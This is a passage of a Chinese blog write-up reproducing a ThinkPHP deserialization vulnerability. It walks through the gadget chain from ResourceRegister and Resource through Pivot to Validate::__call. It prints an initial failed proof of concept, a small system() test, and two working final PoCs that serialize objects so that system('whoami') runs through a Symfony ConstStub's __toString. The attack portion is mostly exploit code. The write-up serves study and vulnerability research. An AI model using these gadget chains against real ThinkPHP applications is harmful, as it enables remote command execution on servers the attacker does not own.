        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name, $visible, $hidden);
        }
    ..............等代码
}
       

这里主要主要就是要调用最后的appendAttrToArray()方法:

image-20250306171611230

然后调用这里的getRelationWith()方法:

image-20250306171651095

这里就可以触发__call()方法,对于参数的传递,其实不难,但是有一个点没想明白:

image-20250306172323463

这里的rule会是什么?问我传参时并没有传这个参数,先简单构造看看这里的参数是什么。

exp构造
问题说明

这里的参数说明就不具体说明了,直接构造即可,实在想不出的时候可以再看看P我构造出来的POC,这里有几个点需要说明一下:

1.

在前面的链子找寻过程中,可以知道链子其中一个是trait类型的Conversion类,是代码复用类型的,不能直接实例化来使用,但是我们需要利用到他的__toString()方法,怎么利用呢,自己构造的时候也是在Conversion类中有一个向下找的按钮:

image-20250306180236572

往下跳,到了Model抽象类:

image-20250306180629060

再往下就到了Pivot类:

image-20250306180654204

这个类就是可以直接实例化来使用的,所以最后我们要使用的类就是这个类。

——————

2.

还有个就是前面遗留的$rule参数问题:

image-20250306220415567

果然还是调试一下就知道了,这里的$rule变量的值是visible,后面简单说说是怎么进行的:

__call方法中,触发的点是visible()方法:

image-20250306220625866

所以如下__call源码,这里会直接将这个$method的值直接push上数组中:

image-20250306220759296

让然后在调用is()函数时,对于$value$rule的值,就是数组的第一个值和第二个值。

3.

最重要的一点,nivia师傅tql,也是我卡住的一点,导致这一步没构造出POC,简单贴一下我的原本错误的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
namespace think;
class Validate
{
    protected $type = [];
    function __construct(){
        $this->type=['visible'=>'system'];
    }
}
class Route{

}

namespace think\model;
class Pivot
{
    protected $visible = [];
    protected $hidden = [];
    protected $append = [];
    private $relation = [];
    function __construct(){
        $this->visible=[
            'fupanc' => "fupanc.whoami"
        ];
        $this->hidden=[
            '113'=>true
        ];
        $this->append=[
            "fupanc"=>"fupanc.111111"
        ];
        $this->relation=[
            "fupanc"=>new \think\Validate()
        ];

    }

}

namespace think\route;

class Resource
{
    protected $rule;
    protected $option = [];
    protected $rest = [];
    protected $router;
    protected $name;
    function __construct(){
        $this->rule="fupanc";
        $this->router=new \think\Route();
        $this->option=[
            "var"=>["fupanc"=>new \think\model\Pivot()],
        ];
        $this->rest = [
            'fupanc' => ["111","<id>"]
        ];
        $this->name="f";

    }

}

namespace think\route;

class ResourceRegister
{
    protected $registered;
    protected $resource;
    protected $name;
    function __construct(){
        $this->registered = false;
        $this->name="f";
        $this->resource=new \think\route\Resource();

    }
}

$a=new \think\route\ResourceRegister();

echo urlencode(base64_encode(serialize($a)));

可以动态生成调试一下。

就简单说说这里的差错点:

同样的,我也是关注到了在toArray()方法中的对$this->visible的分割,同样的最开始构造是是想要利用else语句中的代码块来进行赋值操作:

image-20250306221632496

但是在参数跟进中,发现这里是需要将这个$val设置为命令执行的参数,比如whoami,但是这里就一定会是字符串类型的,就一定不能成功调用,那么我前面的POC构造就顺应趋势,尝试对if中的语句进行利用,所以需要有.,让然后$name的值为命令执行参数,所以我传参

1
2
3
$this->visible=[
    'fupanc' => "fupanc.whoami"
];

这样就能形成一个$visible['fupanc'][] = "whoami"了,在最后的调用call()方法时,这里的参数就是传递的这个:

image-20250306222319604

但是呀但是,顺应if语句的后果是,里面是一层数组(也就是会生成上面给的示例的结果):

image-20250306222429525

本来我还很兴奋,刚好call_user_func_array()函数第二个就是需要一个数组类型,但是,在真正调用时,是在外面套了一层数组的:

image-20250306222601693

所以这里真正调用时是会报错的:

image-20250306222722392

所以这里是失败的。还是必须要进入到else中的语句呀,这样才能赋值为一个字符串类型,从而可以进行命令执行,但是一直想不通呀,怎么可以这样进行呢?

最后还是看的nivia学长的文章,里面有如下说法:

image-20250306223038346

我最开始也是看不懂的,通过看POC以及写代码,终于理解到了。

在这里nivia学长就是将$val设置为了一个实例化对象,然后在函数调用时会触发toString()函数,从而输出这个内容,但是也是一直没想清楚是哪里调用了触发了toString()方法,后面想到了命令执行函数,需要string类型,那么很有可能是这个点,测试代码如下:

1
2
3
4
5
6
7
8
9
<?php
class Student{
    function __toString(){
        return "whoami";
    }
}

$a=new Student();
call_user_func_array("system",[$a]);

最后成功进行命令执行。成功,那么就是这样进行的。

并且,这里非常非常重要的是,还刚好有一个类的toString()函数是符合这个条件的:

image-20250306223605193

toString()函数内容如下:

1
2
3
4
public function __toString(): string
    {
        return (string) $this->value;
    }

哇塞,太符合了,怎么就会有这么巧的情况出现,tql,又学到一个新的利用点。

————————

最终POC

完事具备,最后的完整POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php

namespace Symfony\Component\VarDumper\Caster;
class ConstStub{
    protected $value;
    function __construct(){
        $this->value="whoami";
    }
}

namespace think;
class Validate
{
    protected $type = [];
    function __construct(){
        $this->type=['visible'=>'system'];
    }
}
class Route{

}

namespace think\model;
class Pivot
{
    protected $visible = [];
    protected $hidden = [];
    protected $append = [];
    private $relation = [];
    function __construct(){
        $this->visible=[
            'fupanc' => new \Symfony\Component\VarDumper\Caster\ConstStub
        ];
        $this->hidden=[
            '113'=>true
        ];
        $this->append=[
            "fupanc"=>"fupanc.111111"
        ];
        $this->relation=[
            "fupanc"=>new \think\Validate()
        ];

    }

}

namespace think\route;

class Resource
{
    protected $rule;
    protected $option = [];
    protected $rest = [];
    protected $router;
    protected $name;
    function __construct(){
        $this->rule="fupanc";
        $this->router=new \think\Route();
        $this->option=[
            "var"=>["fupanc"=>new \think\model\Pivot()],
        ];
        $this->rest = [
            'fupanc' => ["111","<id>"]
        ];
        $this->name="f";

    }

}

namespace think\route;

class ResourceRegister
{
    protected $registered;
    protected $resource;
    protected $name;
    function __construct(){
        $this->registered = false;
        $this->name="f";
        $this->resource=new \think\route\Resource();

    }
}

$a=new \think\route\ResourceRegister();

echo urlencode(base64_encode(serialize($a)));

成功命令执行:

image-20250306224438648

简单优化了一下POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php

namespace Symfony\Component\VarDumper\Caster;
class ConstStub{
    protected $value;
    function __construct(){
        $this->value="whoami";
    }
}

namespace think;
class Validate
{
    protected $type = [];
    function __construct(){
        $this->type=['visible'=>'system'];
    }
}
class Route{

}

namespace think\model;
class Pivot
{
    protected $visible = [];
    protected $hidden = [];
    protected $append = [];
    private $relation = [];
    function __construct(){
        $this->visible=[
            'fupanc' => new \Symfony\Component\VarDumper\Caster\ConstStub
        ];
        $this->hidden=[
            '113'=>true
        ];
        $this->append=[
            "fupanc"=>"fupanc.111111"
        ];
        $this->relation=[
            "fupanc"=>new \think\Validate()
        ];

    }

}

namespace think\route;

class Resource
{
    protected $rule;
    protected $option = [];
    protected $rest = [];
    protected $router;
    protected $name;
    function __construct(){
        $this->rule="fupanc";
        $this->router=new \think\Route();
        $this->option=[
            "var"=>["fupanc"=>new \think\model\Pivot()],
        ];
        $this->rest = [
            'fupanc' => ["111","<id>"]
        ];
        $this->name="f";

    }

}

namespace think\route;

class ResourceRegister
{
    protected $registered;
    protected $resource;
    protected $name;
    function __construct(){
        $this->resource=new \think\route\Resource();

    }
}

$a=new \think\route\ResourceRegister();

echo urlencode(base64_encode(serialize($a)));

——————

总结

intersting,very intersting,一切都是最好的安排,好玩好玩。

参考文章:

https://xz.aliyun.com/news/14341

——————————

Thinkphp的漏洞还是很多的,其他的就不复现了,还想再复现的可以在漏洞库找找。

注:每一部分的参考文章都是不同的。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计